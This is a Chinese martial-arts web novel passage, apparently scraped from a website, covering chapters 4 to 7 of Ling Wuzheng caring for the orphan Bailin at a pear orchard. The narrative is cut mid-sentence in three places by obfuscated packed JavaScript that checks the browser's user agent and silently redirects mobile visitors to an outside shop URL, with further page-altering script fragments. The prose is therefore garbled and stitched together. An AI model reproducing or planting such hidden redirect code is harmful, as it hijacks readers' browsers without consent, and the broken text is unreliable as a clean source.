凌无争一边随意地挽起衣袖,一边冲麟儿招了招手:“过来帮忙,帮我把这些搬到外面。” “啊?”麟儿抬起头,下意识地问:“这是要做什么?” 无争头也不回地解释着:“把这里收拾出来,放你的床。” 麟儿听了他这话,先是觉得怪不好意思的。 这几天他隐约在睡梦中感觉到几次,自己好像是不知不觉间就缠到了凌无争身上,又被他嫌弃地推到了一边去。无争大概是实在忍受不了他的纠缠,才要霍伯去为他准备一张床,从此跟他分开睡。 他心里知道自己这个习惯不好,每晚入睡之前也都百般告诫过自己要规矩一些。可当他睡着了之后,梦里总会出现他的爹娘,让他轻易地就将梦里的当作了真的,手脚便不再听自己的命令了。 麟儿心里小小的惭愧了一瞬,但转念一想,折腾完重新布置房间的这一遭之后,他就再也不会打扰到凌无争了。那点不好意思的情绪很快被他抛到脑后,他开始期待着在梨园里拥有一小块属于他自己的空间。 这间屋子一侧的墙边放着凌无争的床,另一半空间则被各种各样的杂物占据着,麟儿之前就对此有些好奇,借着这次搬动东西的机会他干脆问出来:“无争,你房间里怎么堆了这么多东西?你和霍爷爷以前都没有打扫过这里么?” 凌无争抬起几个叠在一起的大竹筐,递到麟儿手里,回道:“这些都是霍伯的。本来这间屋子也不是霍伯拿来住的地方。” “那为什么……”麟儿提问的话还没等说出口,一瞥到凌无争略有些不耐烦的眼神,他立即乖觉地闭上了嘴,没再说下去。 然而凌无争不耐烦归不耐烦,他还是对小孩儿多解释了两句:“往年我只是来这里借住一段时间,春天一过就往东边走。既然现在要在这里继续住下去,当然要好好收拾一下。” 麟儿这下更是不好意思再继续问下去了。说到底,还是因为他住在这里给凌无争和霍伯添了麻烦。 麟儿颇不自在地低下了头,心上好像被压了颗大石头,正一点点往下坠。可他心还没等沉到脚底,又忽然听见凌无争说:“就算没有你,这里也早该好好收拾收拾了。只不过之前我住了没一阵就要走,也没什么资格和霍伯提这些——喏,把这些放门口。” 麟儿明明什么都没说,凌无争却像已经猜到了他的想法一样。安慰的话落到耳朵里,让麟儿一下子又不难过了。 他悄悄地抬眼看向凌无争弯腰整理杂物的背影,感觉虽然大多数的时候凌无争都是一副对人爱答不理的样子,看着特别难以靠近,但没准他其实是个很会体贴人的家伙。 凌无争挪开又一个大箱子之后,直起腰看向麟儿,对他说:“看我干什么?天黑前不把这块地方收拾出来,今晚你又要占我的床了。” “啊,我……”突然被他发现他在偷看,麟儿连忙慌手慌脚地指着凌无争刚放到他脚边的箱子说:“我搬不动这个。” 凌无争发出嫌弃的声响:“啧。那你还是出去帮霍伯吧,别在我这捣乱了。” “哦。”麟儿沮丧地应了一声,转身走了。 等他走出门了一段距离,才突然反应过来,自己的心情在片刻之内被凌无争变化无常的态度带着拐了七八个曲曲折折的弯。 麟儿三步并作两步地跑到了前院,站在霍伯面前七手八脚地向他控诉:凌无争!欺负小孩!他坏! 霍伯没看懂他要表达的意思,只是温和地对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可他还来不及为无争记得他名字的事感到惊讶或者欣喜,这个名字就被凌无争给夺走了。 柏麟愣愣地问:“那我爹娘……” “你爹娘是平州的农人,不久前因病过世了,所以你才被托付给霍伯照料。如果有谁问起来,你就这样说。”凌无争道,“无论是谁问你爹娘的事,你都不能说出他们的名字,也不能让别人知道他们习武、和天地剑宗有关系。记住了吗?” 柏麟望着无争注视着他的眼睛,一时无法消化这个事情,可他又不敢挪开自己的视线。他莫名有种感觉:即便他想要躲开凌无争的目光,然而在他做出回答之前,凌无争都会逼着他再看向自己。 在凌无争紧盯着他的目光里,柏麟艰难地咽了一口唾沫,回答:“记住了。” 无争抬手拍了拍他的肩膀,让处于茫然无措间的柏麟甚至分辨不出来这是威胁还是安慰。 他就这样被凌无争推着向前,从此走上了与过去截然不同的路。 5. 第五章 霍家村的学堂离梨园约有三四里,走不过两刻也就到了。 凌无争同先生交谈的时候,柏麟就站在他们身边悄悄打量着四周。 来这读书的孩子约有二十余人,他们不分年龄大小,都坐在一处。在柏麟望向他们的时候,他们也在打量着柏麟。 柏麟不习惯这样的目光,他捏着无争的袖子的一角,想要往他身后躲。然而还没等他将自己完全藏在凌无争的身后,凌无争先按着他的肩膀将他推到了先生面前。 “那便多有麻烦了。”凌无争同先生对谈完,对先生略一点头,看也没看柏麟一眼,转身就要走。 柏麟见他突然就要离开,一时连自己来此是要做什么的都忘了,他慌里慌张地要去追无争,却被先生眼疾手快地牵了他的手。 先生一边领着他往廊下走,一边和颜悦色地问他:“孩子,你是叫柏麟?从前可曾读过什么书?说来给先生听听。” 柏麟被他温声几句抚平了一些心里的不安。他顺着先生牵着他的力道往前走着,可头还依依不舍地别向身后,追着凌无争潇洒离去的背影看。 而那看似走得干脆利落的人,却并没有走远。 凌无争在学堂外的树从中寻了棵比较茂盛的,飞身跃上,靠着结实的枝杈坐下来,借枝叶的掩映,藏起自己的身形。树下的人若不刻意地抬起头来寻,决计看不见他,他却能一垂眼睛就将周遭看个遍。 他心里惦记着柏莹当初说过的追杀她们的杀手的事,暂且还是不放心留柏麟自己一个人待在外面。 住在梨园里的时候,因着隐居不出,他们俩的日子都还太平着。但如今到了人多眼杂的霍家村里,他不得不多加几分小心。 凌无争百无聊赖地守在树上,伸在他手边的细枝都被他残害了好些。那些折下来的断枝最后被他团成了一个鸟窝的样子,被他随手安放在枝杈中间,便宜给流浪的鸟做个白得的巢。 他在树上候了大半天,直到学堂都下了学,也没见到除了自己之外,第二个行事可疑的人。 学堂里的小孩儿们一下了学就像投林的飞鸟,纷纷跑出去找地方玩儿了,唯独柏麟小心翼翼地戳在大门口没走。他先是四处张望了半天,没见到想见的人的影子,就又垂下头去,闷闷不乐地抠着自己的衣服。 凌无争看四周的人散得差不多了,才跃到地上,慢悠悠地走向学堂的方向。 走得近了些,凌无争发现那小孩并不是跟自己的衣服有什么过不去,而是隔着衣服在捏着衣服下的东西。 他先前就注意到柏麟的脖子上挂着一根红绳,不过他那时只当绳子上坠得是长命锁一类的物件。这回顺着柏麟手上的动作看,才隔着衣服看出来他脖子上挂着个圆溜溜的东西,像是玉佩一类。 也不知那小孩是先听见了凌无争的脚步声,还是余光先瞥见了凌无争的鞋,他猛地抬起头,看向走过来的凌无争,脸上的表情瞬间从呆愣化为了欣喜。那些小心翼翼的神情被他一扫而空,他望着无争的眼睛里好像都在闪着兴奋的光。他兴高采烈地喊了一声:“无争!” 凌无争也不知道有什么值得他如此高兴的,他停下脚步,语气淡淡地说了一句:“走,回家了。” 听了他的话,那小孩就乐不可支地向他跑了过来,和他并肩往梨园的方向走去。 回去的路上,凌无争指着他脖子上挂着的东西问:“你脖子上戴着什么?” 柏麟看了他一眼,随后小心仔细地扯出怀里的东西,捧在手心里给无争看:“这是我爹给我娘的,后来我娘又给了我。” 被他捧在手里的东西乍一看像是玉佩,细看却又与普通的玉佩不同。 红绳吊着的玉片整体是圆形的,玉片的中央却不是常见的蕴含吉祥寓意的花纹,而是一片奇形怪状的镂空。看着就像当初制作它的工匠随手凿了几下,戳出来这些大小不一形状各异的孔洞。偏偏这些孔洞还被人细心打磨过,让整块玉佩看起来又温润无比。 凌无争只瞄了一眼,就收回了目光,他轻描淡写地说:“原来是这个。” 麟儿被他一句话勾起了好奇,他追问道:“无争你见过这个?那这中央的图案你知道是什么意思吗?” “不知道。”凌无争解释说,“这块玉还是十年前,我和你爹一块从棘肓山里带出来的。当时你爹要带它出来,就是因为这块玉的图样特别,他认为没准能因此寻到它的主人。不过既然它如今落到了你手里,也就是说,你爹一直也没弄清这图案的含义。” 麟儿摩挲着还带着自己体温的玉,犹豫了一瞬后,问道:“那我还要带着它吗?它既不是我爹的东西,也不是我娘的。我就这样拿着它是不是不太合适?” “这东西的原主估计已经过世了百八十年,想找也找不到了。你爹娘把它交给了你,你就好好收着。就算将来有谁把它认了回去,也是以后的事,至少此时,这东西还是你的。” 柏麟被他说得心下释然,又将玉佩原封不动地放回了怀里。 两人又走了一段路,临到梨园时,凌无争忽然问:“从学堂到梨园的路,记住怎么走了吗?” 柏麟得意地点头答道:“记得。” “那好,明天起,你就自己去学堂。” 柏麟闻言一愣,忍不住多问了一句:“那你呢?” 凌无争低头看了他一眼,只说:“我还有别的事要做。” 柏麟知趣的没有再问。他转回头,远远地看见霍伯在院子里劳作的身影,便兴高采烈地跑过去,也不顾霍伯能不能听见,边跑边喊:“霍爷爷!我回来喽!” 凌无争走在后面,忍不住摇了摇头,自言自语道:“真是太吵了。” -- 第二天一早,柏麟挎着霍伯新为他缝的书包自己去上学了。他前脚刚走,凌无争后脚也离开了梨园。 既然岑术南不知何时才会现身,他便要做好在竺阳长住的打算。为此,凌无争第一个要去的地方就是竺阳城里的万通钱庄。 窝在高柜后头偷懒的伙计瞥见门口有人上了台阶,刚要拉长了嗓音迎客,一看清来人是谁,又赶紧利索地站好,恭迎道:“十五爷,您里边请,我们掌柜的在内堂里呢。” 凌无争略一点头,脚下没停,熟门熟路的进了内堂。 内堂里的掌柜听见招呼,也跟着迎出来,对凌无争说:“十五爷,您来了。快请坐。阿福,给十五爷备茶。” 凌无争捡了个空位置坐下,道:“多谢。” 掌柜的坐到他对面,像老友一般同他寒暄:“四月已过,您可是要离开竺阳了?” 凌无争垂着眼皮,简短地答:“有些事情,暂时还走不了。” 掌柜的没有多嘴问是什么事。他对着刚给凌无争奉过茶的小伙计说:“阿福,去给十五爷准备银子。” 阿福请示着问他:“掌柜的,准备多少?” 掌柜的并没回答,他看向凌无争,等他示意。 凌无争端起茶盏,想了下,说:“先准备二十两吧。” 阿福便一点头,恭敬地说:“好,您稍等。” “麻烦再给我找副纸笔。”凌无争补充说,“我要写两封信。一封信捎给你们六爷,一封信麻烦帮我送到荷关。” 两封信写毕,凌无争才带着银子离开了万通钱庄。 他先是在城内替柏麟购置了笔墨纸砚,又去竺阳城内最有名的酒楼买了一只烧鸡打了二斤酒。待办完了这些事情,才往梨园返。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345090|152659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一跨进梨园的院子,凌无争就看见那麻烦的小东西正扑在霍伯的怀里哭。大概是眼角余光瞥见了他回来,本来还在委委屈屈地抽噎着的小孩,忽然就咧开嘴嚎出了声,吵得凌无争脑仁都疼。 凌无争脚步不停,视而不见地往屋子里走。待他安置好了手中的东西,才慢悠悠地走到了院子里,叹了口气,嫌麻烦地问:“又怎么了?” 柏麟止住哭声,扬起一张哭脏了的小脸,脸上还印着一块青紫的瘀伤。他打着哭嗝,啰里啰唆地控诉了好大一篇。说了半天,无非就是学堂里的孩子欺负他没有爹娘,和他发生了几句口角,他实在气不过,和那些孩子打了一架,却又没打过人家,白白挨了揍。 凌无争捡了张板凳坐下,伸直了腿歇息,淡定地听他哭完事情经过,说:“所以呢?” 柏麟被他的反问问傻了,他琢磨了半天,才犹豫着说:“我被他们欺负了呀,你不应该帮我报仇吗?” 无争依旧淡定地说:“那你想要我怎么做。打掉他们的牙?打断他们的骨头?在他们的饭菜里下毒?还是——杀了他们?” 柏麟被他吓了一大跳,感觉凌无争的这番话不是在开玩笑。依无争话里的意思,只要他肯对他提出要求,哪怕是杀人放火的事,凌无争也可以毫不犹豫地去做。可这样“听话”的凌无争,反而令他害怕。 从前他和别的小孩打过架之后,他的爹娘总是苦口婆心地给他讲好些与人为善的大道理,然后再拖着他去别人家道歉。他知道他可以要求凌无争也为他做这些,而且只要凌无争答应了,就不会敷衍。可他要求他去做的事情,和他主动去做的总归不一样。 这段时间相处下来,柏麟一直都捉摸不透凌无争的脾气。他感觉凌无争就像是江湖故事里的机关假人一样,能走能动能说话,却唯独没有心。 他管他饱饭,管他有地方住、有衣服穿,却又不在乎他做了什么。即便他任性耍脾气,这人也冷淡地袖手旁观,晾他自己一个人对着空气撒泼。 “我爹娘要是在的话,一定不会让我受委屈。”柏麟瘪着嘴莫名委屈地说,“你一点也不在乎我是不是在外面挨了欺负,只要我还没缺胳膊断腿,还喘气活着,你就当对得起我娘的嘱咐了。” 凌无争在外奔波了一天,这会儿疲累得很,没心思哄这小孩开心,他略不耐烦地说:“你说得倒也没错。” 柏麟听了他的话,心里更加难过。 霍伯虽然不知道这两人说了些什么,但他看得出柏麟脸上的沮丧低落。他没法用言语劝解,就只好轻轻地拍着柏麟的后背哄着他。 凌无争一看见柏麟赖在霍伯怀里求安慰的娇气样子就心烦,他吩咐道:“少哭哭啼啼了。屋里有只烧鸡,去把它拆了,帮霍伯准备今天晚上的饭。” 柏麟不敢违逆无争的命令。他不情不愿地走到屋里,一打眼就看见桌子上的酒坛和纸包旁边还有一个包袱。那包袱的一角松脱开了,露出里面装着的纸笔。 他纳闷地拎起包袱,看见包袱里还装有墨条和砚台,脸上的疑惑立刻转为惊讶。他看向院子里的凌无争,问他:“无争,这个包袱……” 凌无争冷淡地打断他:“不是你要的东西吗?自己找个地方收好。” 柏麟鼓着脸颊没吭声。 他昨天因为先生的要求,回到梨园之后本想抄书做功课,却发现梨园里并没有纸笔。虽然他当时与凌无争提过此事,却没想到他今日就替他准备好了这些。这下就显得他刚刚的那番控诉十分的无理取闹。 柏麟把松散的包袱重新扎好,放到了一边。他一通小孩子脾气发作又落空后,不肯承认自己误会了无争,又忍不住怀着一丁点的愧疚,揣测起凌无争到底是个什么样的人。 6. 第六章 梨园里的日子简单又平淡。 柏麟每天早上起床后,先是跑到他娘的墓前和她问安,然后便到霍伯的院子里吃早饭。吃过早饭之后,他就得自己走去霍家村的学堂,开始跟着先生读书习字。 梨园里没人要求他一定要学出什么大学问,他在学堂里轻轻松松地读着书就像是在寻消遣。曾经还和他打过架的同学,在相处了一阵之后,也都成了好朋友。他们在放学后经常一起出去玩,偶尔吵几句闹两下,但都没有隔夜仇。 秋天一到,挂在树上的梨由青转黄,慢慢开始成熟。霍家村的孩子们就时常聚在一起,偷偷溜进梨园里摘梨吃。 霍伯作为梨园的主人,每次看见这些孩子踮着脚去摘梨,都不会赶他们走,他老人家反而喜欢看柏麟和这些孩子们在一起热热闹闹的样子。霍家村的小孩们因此一点也不惧怕霍伯,他们倒是比较怕住在梨园里的凌无争。 同柏麟一起念书的孩子们好奇过凌无争是柏麟的什么人,柏麟除了一句他是我爹娘的朋友之外,其他的问题什么都答不上来。他平日在梨园里的时候,跟着霍伯在一起的时间居多,和凌无争一天也说不上几句话,对凌无争的事情一无所知。也正是因为他不了解凌无争的事,就在小伙伴们面前给凌无争编排了好多身份。 刚开始,凌无争在他口里是富家公子。因为柏麟发现,凌无争隔三岔五的就会拎着酒肉回梨园。他跟着凌公子在一起待一个月,开荤的次数比从前一年的还多。 可其他孩子们不认同这个说法。在他们看来,凌无争一没有穿金戴银,二没有香车宝马,住的也不是高墙深院的砖瓦大宅。就算梨园的伙食比他们的家里好些,充其量也就和村东头卖猪肉的那家打个平手。 柏麟辩不过他们,就只好胡诌凌无争其实是一位武功高强的武林大侠,毕竟他时常能见到无争在梨园里练他看不懂的拳掌功夫。他还偷学了几个三脚猫的动作展示给学堂里的同学们看,唬住了他们一阵。 可时间一长,就有孩子质疑,“大侠”怎么天天待在梨园里,也不出去行侠仗义?柏麟被问得哑口无言,又只好改口说凌无争是金盆洗手的江湖杀手。 这下可好了,乡下的孩子们被杀手二字震慑住,对凌无争又是好奇又是害怕,在梨园里哪怕只是远远的瞥见凌无争的身影,他们都要大呼小叫地逃跑,生怕被他给“灭口”了。 小伙伴们越是害怕凌无争,柏麟越是得意,好像一个恶作剧得了逞。 被他在背后编排的凌无争懒得搭理那些小屁孩,巴不得他们离自己更远些,也就不知道柏麟背着他都说了什么离谱的大话。 等到了梨子收获的时候,霍伯一个人摘不动满园的梨,他的女儿带着女婿和几个外孙也来到了梨园一起帮忙。 柏麟看着梨园里的热闹,以给霍伯帮忙为借口,连学堂也不去了,天天跟着霍伯的外孙们在梨园里玩成一片。好在他们花在给大人帮忙上的时间比调皮捣蛋的时间多,倒也不算个妨碍。 除去有人来买的,若是梨园收获的梨还剩很多,霍伯就会赶着驴车,到竺阳城里去卖。 柏麟图新鲜,一听说霍伯要进城,就缠着他要和他一起去。霍伯没什么好拒绝的,他把柏麟和梨一起装上车,赶着小毛驴就走。 凌无争虽然懒得出门,但又担心柏麟在竺阳城里惹出什么乱子,只好悄悄在后跟着。 那对爷孙俩在城里择了块空地,就地卖起梨来。 凌无争远远望着,见他们俩那边没什么需要帮忙的,正百无聊赖地打算找间茶楼进去喝茶听书,就听有人在路上喊他。 “十五爷!” 凌无争回头去看,发现是万通钱庄的小伙计阿福。他停下脚,和他客气地一点头,就算是打了招呼。 “我刚才看背影就觉得是您。”阿福快步走上前,对他道:“正巧在这里遇上,十五爷,您有空来钱庄里一趟吗?” 凌无争抱着手臂,微一蹙眉,问:“有事吗?” 阿福解释说:“哦,有您的信。前几日刚寄来的。您今日要是不方便,我给您送去住处也成。” “无事。”凌无争放下手摆了摆,“我这就去一趟。” 凌无争先前寄出去的两封信都收到了回信。他坐在钱庄后堂翻看的时候,掌柜的就在一旁说:“六爷递来了口信,等大夫人丧期一过,他就要回京城了。以后寄给他的信,都要送去京城的宅子,路上的时间就要耗得久一些。” “嗯,知道了。”凌无争简短的回答。 他手里正拿着他六哥的信,信里也提到了这事。除此之外,他六哥还提到,今年的除夕他会在京城和他俩的二哥一起过,问无争要不要一同前来。 凌无争一见京城二字就浑身别扭,只好紧锁着眉头,提笔写了封毕恭毕敬的回信婉拒了他六哥的好意,再客套地请他帮忙给二哥问好。 等他再拆开另一封信,除了一些啰嗦的家常,也问了一句他要不要去荷关过年的话。这回凌无争干脆就在信里回了四个字——麻烦,不去。 等他再离开万通钱庄的时候,心里就烦闷得很。 凌无争此生最反感的地方就是京城,最厌烦的事情就是节日,偏偏这两封回信都来触他的霉头。 尤其是他六哥的那封,又是提到京城,又是提到年节,他看了就嫌烦,可他又不能拂了他六哥的面子,只好写封酸文假醋的回信,写得他自己浑身难受。 一出了钱庄的大门,凌无争只想立刻赶去酒楼里喝上两壶酒去去心里的晦气。可他人还没走到酒楼所在的街上,先远远地听到了小孩的叫卖声。 那平日里总是吵得他头疼的声音在卖力喊着:“卖梨咯!卖梨咯!又大又水灵的香梨咯!三文钱一斤!五文钱两斤!快来看看哟!” 凌无争循声去看,看见柏麟就站在装梨的车子上挥着胳膊叫喊。 相处了小半年下来,凌无争大概也摸清了这小孩的性格——平时扎在熟人堆里,他就是一只窝里横的纸老虎,嚣张又任性,好像是猴子堆里披着老虎皮的霸王;而一旦给他放到没见过的生人面前,他就再也没了威风,只知道害怕地往他或者霍伯的身后躲。 当众叫卖这事,大概是因为霍伯实在做不到,他才不得不在大庭广众之下挺身而出,红着脸招徕路过的人来买梨。 或许是他喊得卖力,板车周围也围上来了几个前来买梨的人,等着霍伯挨个为他们称重。 凌无争隔着人群看着柏麟红彤彤的小脸,不知道是不是受那小孩活力四射的样子感染,烦闷的心思倒是一下子就散了些。他看了看头顶的日头,没再去酒楼,而是转向卖包子的小摊。 柏麟眼前的人群渐渐散去。他蹲下身从车上捡了只梨,用袖子擦了擦,正打算吃掉它润一润喉咙,鼻尖忽然就闻到一阵肉香。他纳闷地转回头,一眼看见面前摆着个装肉包子的纸包,视线再向上,就看见了给他送包子的人。 “无争!”柏麟惊讶地站起来,问他:“你怎么来了?” 凌无争将另一份包子递给霍伯,淡淡地说:“有事要办,正好路过。” “你要办什么事?现在已经办好了吗?” “嗯,办好了。” “那你等下要和我们一起卖梨吗?”柏麟顺口说出这句话,说完才意识到不对。这人冷淡得连话都懒得说,怎可能会帮着他们一起当街叫卖? 凌无争没搭他的腔,只是丢给他一个嫌麻烦的视线,柏麟就灰溜溜地低下了头。 凌无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而睡着的小孩儿不听他的。柏麟耍赖似的哼唧了一声,在车板上骨碌着翻了个身,接着会周公。 凌无争正不知道该拿他如何是好的时候,霍伯的女儿走了过来。 她小心翼翼地喊了声:“凌公子。” 凌无争转过身,略有些疑惑地看着她,不知道她叫住他所为何事。 然后便听她问道:“凌公子,你之后也会领着麟儿一起住在梨园里过冬吗?” “嗯,大概是。”凌无争点点头,然后问:“我们留在这里给你们添麻烦了吗?” 霍伯的女儿连忙摆手:“不不不,是我有事要麻烦你。”她解释说,“从前因为无人看顾梨园,我爹都是自己一个人留在这里过年的。既然今年有你和麟儿住在这里,我们就想着,或许可以接他去平州一起过冬。” 凌无争想了想,说:“没问题。你们打算什么时候动身?” “中秋过后。” “好。”凌无争点了点头,算是答应了下来。 他们两个说完这事之后,霍伯的女儿便离开了。 凌无争再转头去看,只见柏麟姿势僵硬地躺在车上,便对他说:“起来。别装睡了。” 柏麟被他识破,别别扭扭地从车上爬了起来。 他不是故意偷听他们讲话的。刚才凌无争拍他肩膀的时候他就迷迷糊糊地醒了过来,只不过因为白天太累,他懒得立刻就起身,这才无意间听到了大人间的谈话。不过凌无争并没有因他装睡的事情说他,他也就没给自己辩解。 梨园的日子并没有因为霍伯之后就要短暂离开而改变什么。宁静安详的日子缓缓过去,转眼就到了中秋夜。 7. 第七章 中秋佳节,人月两团圆。 梨园今年的收成不错,霍伯一家三代同堂,其乐融融。中秋这一整天,梨园内外都弥漫着祥和喜悦的氛围。 凌无争实在融入不进去,在和其他人一起吃过饭之后就独自回了后院。柏麟这个爱凑热闹的小孩儿就留下来和霍伯的外孙们一起缠着大人们要点心吃。 这几个年纪相仿的孩子们不知疲倦,从天亮一直玩到天黑,非得霍伯的女儿端出月饼分给他们,他们才能坐到板凳上安静一会儿。 几个小孩各自捏着手里的月饼,围在霍伯的女儿身前,听她讲嫦娥奔月、吴刚伐桂、玉兔捣药的故事。 霍伯年纪最小的外孙玩得累了,手里抓着半块没吃完的月饼要娘抱。其他几个孩子见弟弟耍赖,也跟着围到娘的身边,缠着娘撒娇。 霍伯的女儿被她的孩子们围着争抢,笑着享受着这甜蜜的负担。她抱着自己的孩儿陪他们闹的时候,视线无意间一扫,落在了独自坐在一旁的柏麟身上。她对着柏麟一伸手,说:“麟儿,过来呀。” 柏麟原本还在低着头抠着手里的月饼,突然被她叫到名字,像是被吓到的兔子一样,猛地抬起了头。他看着那边的热闹,又看了看女人对他伸出的邀约的手,到底是没有过去。 柏麟局促地抓了抓自己的后脑勺,找了个粗陋的借口说:“我困了。我要回去睡觉了。”说完,他就跳起来,头也不回地往梨园深处跑。 霍伯的女儿看出来了他身上的落寞,虽然心疼他小小年纪就没了母亲,却又无可奈何。 柏麟一直跑到梨园深处,他娘的墓碑前。 他迎着风、忍耐了一路的眼泪,终于在他跌在娘的面前时,噼里啪啦地落了一地。 柏麟从前很是爱哭,不小心跌倒了要哭,被自家养的鸡啄了手要哭,吃饭不小心咬了舌头也要哭。可他那时候不论真哭还是假哭,都是哭给娘看的。自从他身边只剩下霍伯和凌无争之后,他就努力改掉了爱哭的毛病。 可是今晚,就在今晚,他无论如何也忍耐不住鼻子里的酸软感觉。他怎么也无法克制思念娘亲的情绪。 他被眼睛里接连掉出来的泪水模糊掉了视线,霍伯的外孙们在娘亲的面前撒娇的画面却依旧萦绕在脑海里,挥散不去。 他是如此的难过,如此的悲伤,却还要留着一丝警惕的念头,让自己无论如何不要哭出声来,惊扰了梨园里的其他人。 从前被他刻意不去回想的念头,此刻就像缠绕着他无法醒来的噩梦一样,接二连三的在他心里浮现。 他思念娘的怀抱,思念曾经的小小屋舍下,他们一家三口团聚在一起的温暖。可那样的温暖突然就离他而去,让他失去了爹的音信,也失去了娘。 他想他爹立刻就出现在他的眼前,将他抱在怀里,听他的倾诉。然而他爹一如既往地无法回应他的心声,只有穿过他周身的寒风在树枝间替他呜咽。 他头脑里的思绪越多,越是让他感觉到自己身处此处的渺小,和真切的寒冷。 柏麟也不知道自己哭了多久。哭到后来,他的眼泪都被夜里的风吹干了。他靠着他娘的墓碑抱膝坐着,缩成小小的一团,在恍惚之间,几乎就要这样晕乎乎的睡过去。 凌无争就是在这个时候出现的。 柏麟听到了他的脚步声,但是他哭肿了眼皮,梨园里又没有太多月光照着,让他乍一睁开眼的时候,几乎什么都看不清。 凌无争大步流星地走到他身边,动作粗鲁地揪着他的衣领,给他从地上提了起来。他也不说什么安慰的话,只是十分直白地讲:“霍伯见你不在房里,正在到处找你。你就是想在林子里过夜,也别让他担心。” 柏麟被他揪着衣领走得摇晃,用浓重的鼻音“哦”了一声当作应答。 柏麟一直跟在凌无争的身后被他扯回了茅屋。霍伯见他回来了,便放下了心,拍了拍他的肩膀之后,自己先躺到床上睡了。柏麟脱了自己的衣服鞋袜,也默默地回到了他和凌无争的床上去睡。 自从霍伯的女儿带着全家人来到梨园帮忙,梨园就不够住了。大人们重新商量过后,现在就是霍伯的女儿一家住在前院,霍伯睡在原本给柏麟安置的小床,而柏麟则被挤到了凌无争的床上去住。 大概是独自睡过一阵的关系,柏麟终于改掉了睡觉的时候缠着人的毛病。然而这天夜里,他还是搅和得凌无争无法成眠。 凌无争本就因为所谓的节日心烦,没有立刻睡着。他好不容易等到那小孩在床里侧翻身拽被的窸窣声音尽了,隔了没一会,却又听到他尽力压抑着的啜泣声隔着半条胳膊的距离轻轻地往他耳朵里钻。 和他们俩同屋住的霍伯听不见异响,早早睡了,只有凌无争被那时断时续的轻微动静吵得气燥。 他实在忍不下去,猛地坐起身,看见柏麟正蜷在床上,怀里抱着他娘给他留下来的剑,嘤嘤嗡嗡地哭。 凌无争没好气地问他:“哭什么?” 柏麟被他有点凶的语气吓得一颤,然后才慢慢翻过身来,看着他说:“我想我娘,还有我爹。” “起来,去外面。”凌无争命令道。 柏麟还以为自己惹恼了凌无争,要被他赶到外面去。就在他更加委屈的想大哭一场的时候,却发现凌无争先坐到了床边,开始穿鞋。 柏麟犹豫着也下到地上,跟在凌无争的身后,一起往梨园深处走。 柏麟紧张地抱着他娘的剑,要小跑着才能跟上凌无争的步伐,不知道他要带他去哪里。 凌无争在一片稍宽阔的地方站定,转身问柏麟:“你爹娘教过你剑术吗?” 柏麟点点头:“我和我爹学过。但是……我给忘得差不多了。” 凌无争从地上随意捡起一根树枝,说:“那我就教你点别的。把你娘的那柄剑放下,我教你练刀。” 柏麟懵懵懂懂地听从他的命令,将他娘的剑安放在一边,自己也拾起树枝,一板一眼地学着凌无争的动作。 凌无争没有任何讲解,只是自顾自地练着自己的招式,也不管柏麟跟不跟得上。 一套刀法练完,他问柏麟:“看会了吗?” 柏麟摇头。 再练第二遍的时候,凌无争就减缓了速度。 柏麟和凌无争没有多余的交流,只是一直在树丛间比划着所谓的刀法。待到天色开始发亮,才沾了一身不知道是露水还是汗水的湿气回到茅屋休息。 柏麟疲惫地躺到床上,几乎是一阖上眼皮就沉沉地睡着了。之前还纠缠着他的悲伤情绪,都被手忙脚乱地跟着凌无争学他看不懂也跟不上的刀法的记忆所替代。甚至连他那一天的梦里,都是在慌里慌张地挥着树枝做刀,试图模仿凌无争的动作。 后来无争再自己一个人在林子里打拳或者练习刀法的时候,柏麟偶尔也会抛下手头正在做的事,跟着他一起练。只是凌无争从来没有要求他也要和他一样的刻苦,好像他来与不来,他都不在意。 柏麟有时也会对武学上自己不懂的地方提出问题,他若问了,凌无争就会答,他不问的东西,凌无争也不会对他说。 待到梨园收完之后,霍伯就南下去女儿家了。 霍伯的几个外孙自然也跟着爹娘一起离开了梨园。柏麟没了陪他打闹的小伙伴,不得不重新回到学堂里上学。结果先生从前教的东西被他忘了个一干二净,害得他被罚着连抄了好几日的书。 柏麟原本还在担心梨园里只剩下他和凌无争两个人,会是怎样的枯燥和别扭。然而相处了一段时间下来,他逐渐就不再畏惧凌无争了。 这其中的原因说来也有趣。 从前有霍伯在的时候,梨园里的饭菜都是由他来准备的。自从霍伯去了平州后,做饭的责任就只好落到凌无争这个大人身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柏麟因此度过了他有生以来最无趣的一次新年,难过得又蹲在他娘的坟茔前哭了一场。 然而小孩儿新的一年新长一岁,竟然也长了胆量敢对着凌无争耍横了! 在过完这个没滋没味的新年之后,柏麟就嚷着一定要去竺阳城里看花灯。 凌无争本意是不想顺着他的,但他和臭小鬼较了不到两天的劲儿之后,还是半推半就的妥协了。不为别的,就看在柏麟如今正掌管着庖厨之权的份儿上。 